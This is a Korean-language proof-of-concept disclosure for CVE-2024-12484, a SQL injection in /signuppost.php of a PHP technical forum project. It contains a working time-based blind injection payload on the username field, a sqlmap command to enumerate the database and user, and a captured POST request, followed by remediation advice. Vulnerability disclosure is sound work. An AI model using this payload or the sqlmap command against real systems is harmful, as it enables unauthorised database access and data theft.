CVE

CVE-poc

문제 유형

SQL 인젝션

근본 원인

“Technical Forum Using PHP Source Code” 프로젝트의 /signuppost.php 파일에서 SQL 인젝션 취약점이 발견되었습니다. 취약점은 공격자가 로그인 사용자 이름 매개변수를 통해 악성 코드를 주입할 수 있고, 해당 매개변수를 검증 없이 SQL 쿼리에 직접 사용할 수 있다는 사실에서 비롯됩니다. 이로 인해 공격자는 입력 값을 변조하여 SQL 쿼리를 조작하고 무단 작업을 수행할 수 있습니다.

영향

공격자는 이 SQL 인젝션 취약점을 악용하여 데이터베이스에 대한 무단 액세스 권한을 획득하고, 민감한 데이터를 유출하거나 데이터를 변조하고, 시스템을 완전히 제어하거나 서비스를 중단시킬 수 있으며, 이는 시스템 보안과 비즈니스 연속성에 심각한 위협이 됩니다.

취약점 세부 정보 및 POC

취약점 이름: 사용자 이름 매개변수

Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba

poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp

제안된 수정 사항

전처리 문장 및 매개변수 바인딩 사용 전처리 문장은 SQL 코드를 사용자 입력 데이터와 분리하여 SQL 인젝션을 방지합니다. 전처리 문장을 사용하면 사용자가 입력한 값이 순수한 데이터로 처리되며 SQL 코드로 해석되지 않습니다.

입력 검증 및 필터링 사용자 입력 데이터를 엄격하게 검증하고 필터링하여 예상된 형식을 준수하도록 합니다.

데이터베이스 사용자 권한 최소화 데이터베이스 연결에 사용되는 계정이 최소한의 필요한 권한만 가지고 있는지 확인합니다. 일상적인 작업에는 상위 권한(예: “root” 또는 “admin”)을 가진 계정을 사용하지 마십시오.

정기적인 보안 감사 수행 정기적인 코드 및 시스템 보안 감사를 수행하여 잠재적인 보안 취약점을 적시에 식별하고 수정합니다.

이러한 권장 사항을 따르면 애플리케이션의 보안을 크게 개선하고 SQL 인젝션 취약점과 관련된 위험을 줄일 수 있습니다.

CVE-2024-12484

인기